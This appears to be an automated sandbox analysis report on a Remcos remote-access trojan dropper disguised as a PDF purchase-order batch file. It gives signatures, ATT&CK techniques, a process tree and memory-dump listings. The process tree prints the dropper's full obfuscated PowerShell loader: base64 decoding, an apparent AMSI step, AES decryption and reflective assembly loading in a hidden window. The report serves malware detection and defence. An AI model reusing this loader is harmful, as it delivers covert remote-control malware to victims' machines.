Analysis
- max time kernel
106s - max time network
137s - platform
windows10-2004_x64 - resource
win10v2004-20250610-en - resource tags
- submitted
14/07/2025, 14:14
General
- Target PO-MASSLimited_14072025_155442-pdf.bat
- Size 603KB
- Sample250714-rkc8cssrt5
- SHA256 56faf7910e496baeb5a7d4d39c4c506657fd594600fc4224bcbe474ea2ab5209
Malware Config
Signatures
- Remcos
Remcos is a closed-source remote control and surveillance software.
- Remcos family
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 18 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO-MASSLimited_14072025_155442-pdf.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\PO-MASSLimited_14072025_155442-pdf.bat2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\PO-MASSLimited_14072025_155442-pdf.bat';$batPath_var = [Console]::Title;$tempFile = [System.IO.Path]::GetTempFileName();[System.IO.File]::Copy($batPath_var, $tempFile, $true);$fileContent = [System.IO.File]::ReadAllLines($tempFile);Remove-Item -Path $tempFile -Force;$amsiScript = '';$amsiFound = $false;foreach ($linha in $fileContent) {if ($linha.StartsWith('::::')) {try {$amsiScript = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($linha.Substring(4)));$amsiFound = $true;break;} catch { [System.Environment]::Exit(1);}}};if (-not $amsiFound) { [System.Environment]::Exit(1); };if ([string]::IsNullOrEmpty($amsiScript)) { [System.Environment]::Exit(1); };try {iex $amsiScript;$amsiSuccess = $true;} catch {[System.Environment]::Exit(1);};if (-not $amsiSuccess) { [System.Environment]::Exit(1); };Start-Sleep -Seconds 2;$base64 = 'cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuYPKLC3Rpb24gWlJNRlJJQU5HWUhLT0VFQVVPSlJVRlhIVigkRVhDTklUVPKLCEZKWEdSQVRJQVpCUkVPTU1USil7JEdQU1JIWVhBTkpTRVhFVEdIWPKLCUVKUU5XWFA9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQPKLCWVzXTo6Q3JlYXRlKCk7JEdQU1JIWVhBTkpTRVhFVEdIWUVKUU5XWPKLCFAuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaPKLCXBoZXJNb2RlXTo6Q0JDOyRHUFNSSFlYQU5KU0VYRVRHSFlFSlFOVPKLC1hQLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaPKLCHkuUGFkZGluZ01vZGVdOjpQS0NTNzskR1BTUkhZWEFOSlNFWEVURPKLC0hZRUpRTldYUC5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhcPKLC2U2NFN0cmluZygnWTloUGo3eGhmeUJXY1BCdzZMTG9wYVBFMnkrTPKLCEJNQmtaVG0vT0dMRnAvUT0nKTskR1BTUkhZWEFOSlNFWEVUR0hZRPKLCUpRTldYUC5JVj1bU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0UPKLC3RyaW5nKCdsY1hmSVZxTmxnNU5OZCswaGx1WG9RPT0nKTskT1RORPKLCUxTTElEQ0RCTkJZSVJOS1BXQldYWD0kR1BTUkhZWEFOSlNFWEVURPKLC0hZRUpRTldYUC5DcmVhdGVEZWNyeXB0b3IoKTskR05IS1RTVFVDUPKLC0ZLVkNRSFZVQ1BFVFhGQT0kT1RORUxTTElEQ0RCTkJZSVJOS1BXQPKLCldYWC5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRFWENOSVRURkpYR1JBVPKLCElBWkJSRU9NTVRKLDAsJEVYQ05JVFRGSlhHUkFUSUFaQlJFT01NVPKLCEouTGVuZ3RoKTskT1RORUxTTElEQ0RCTkJZSVJOS1BXQldYWC5EaPKLCXNwb3NlKCk7JEdQU1JIWVhBTkpTRVhFVEdIWUVKUU5XWFAuRGlzcPKLCG9zZSgpOyRHTkhLVFNUVUNTRktWQ1FIVlVDUEVUWEZBO31mdW5jdPKLCGlvbiBUQ0pNTlFITE1OQU1JQlBJT1BGUE9VRUlaKCRFWENOSVRURPKLCkpYR1JBVElBWkJSRU9NTVRKKXskWUFNSVRNV1BHRUVEWUpKS0hMSPKLCVRZV0tUSD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYPKLCW0oLCRFWENOSVRURkpYR1JBVElBWkJSRU9NTVRKKTskQUhVSVROUPKLCUNLVlNITEpHSVVPWU1FWEtURj1OZXctT2JqZWN0IFN5c3RlbS5JTPKLCy5NZW1vcnlTdHJlYW07JFhJT01CQlBUQVNGQ0hOUU9CTk9SRFZDQPKLC0s9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcPKLCFN0cmVhbSgkWUFNSVRNV1BHRUVEWUpKS0hMSVRZV0tUSCxbSU8uQPKLC29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb2RlXTo6RGVjb21wcmVzcPKLCyk7JFhJT01CQlBUQVNGQ0hOUU9CTk9SRFZDQ0suQ29weVRvKCRBSPKLCFVJVE5RQ0tWU0hMSkdJVU9ZTUVYS1RGKTskWElPTUJCUFRBU0ZDSPKLCE5RT0JOT1JEVkNDSy5EaXNwb3NlKCk7JFlBTUlUTVdQR0VFRFlKSPKLCktITElUWVdLVEguRGlzcG9zZSgpOyRBSFVJVE5RQ0tWU0hMSkdJVPKLCU9ZTUVYS1RGLkRpc3Bvc2UoKTskQUhVSVROUUNLVlNITEpHSVVPWPKLCU1FWEtURi5Ub0FycmF5KCk7fSRPVlJGSE9WVUJIWFRGQ1RRTUdMVPKLClVOVk5OPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29ucPKLC29sZV06OlRpdGxlKTskREhNR0REV0JDV0VDUElVQ09MUUFHTkJIWPKLCT1UQ0pNTlFITE1OQU1JQlBJT1BGUE9VRUlaIChaUk1GUklBTkdZSPKLCEtPRUVBVU9KUlVGWEhWIChbQ29udmVydF06OkZyb21CYXNlNjRTdPKLCHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QPKLCXQoJE9WUkZIT1ZVQkhYVEZDVFFNR0xWVU5WTk4sIDYpLlN1YnN0cPKLCmluZygyKSkpKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOPKLCjpMb2FkKFtieXRlW11dJERITUdERFdCQ1dFQ1BJVUNPTFFBR05CSPKLCFkpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTs='.Replace('PKLC','');$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($base64));iex $decoded "3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ur1n10gt\ur1n10gt.cmdline"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES77EF.tmp" "c:\Users\Admin\AppData\Local\Temp\ur1n10gt\CSC23D61FAB6CF244A5AF89FA9F64D85E6.TMP"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\timeout.exetimeout /nobreak /t 13⤵
- Delays execution with timeout.exe
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-Interactive
RES77EF.tmp
__PSScriptPolicyTest_qltpt0el.osq.ps1
ur1n10gt.dll
CSC23D61FAB6CF244A5AF89FA9F64D85E6.TMP
ur1n10gt.0.cs
ur1n10gt.cmdline
memory/5776-30-0x0000000007630000-0x00000000076C2000-memory.dmp
memory/5776-16-0x0000000005920000-0x0000000005C74000-memory.dmp
memory/5776-18-0x0000000006490000-0x00000000064DC000-memory.dmp
memory/5776-19-0x0000000006320000-0x0000000006364000-memory.dmp
memory/5776-20-0x00000000072F0000-0x0000000007366000-memory.dmp
memory/5776-21-0x00000000079F0000-0x000000000806A000-memory.dmp
memory/5776-22-0x0000000007290000-0x00000000072AA000-memory.dmp
memory/5776-25-0x00000000074F0000-0x0000000007586000-memory.dmp
memory/5776-26-0x0000000007450000-0x0000000007472000-memory.dmp
memory/5776-5-0x0000000005120000-0x0000000005186000-memory.dmp
memory/5776-17-0x0000000005F80000-0x0000000005F9E000-memory.dmp
memory/5776-6-0x0000000005870000-0x00000000058D6000-memory.dmp
memory/5776-27-0x0000000008620000-0x0000000008BC4000-memory.dmp
memory/5776-0-0x0000000002860000-0x0000000002870000-memory.dmp
memory/5776-4-0x0000000004F70000-0x0000000004F92000-memory.dmp
memory/5776-3-0x0000000005240000-0x0000000005868000-memory.dmp
memory/5776-43-0x00000000075C0000-0x00000000075C8000-memory.dmp
memory/5776-56-0x00000000077A0000-0x0000000007810000-memory.dmp
memory/5776-57-0x0000000007890000-0x00000000078E6000-memory.dmp
memory/5776-58-0x00000000080A0000-0x0000000008121000-memory.dmp
memory/5776-2-0x0000000002860000-0x0000000002870000-memory.dmp
memory/5776-1-0x0000000002610000-0x0000000002646000-memory.dmp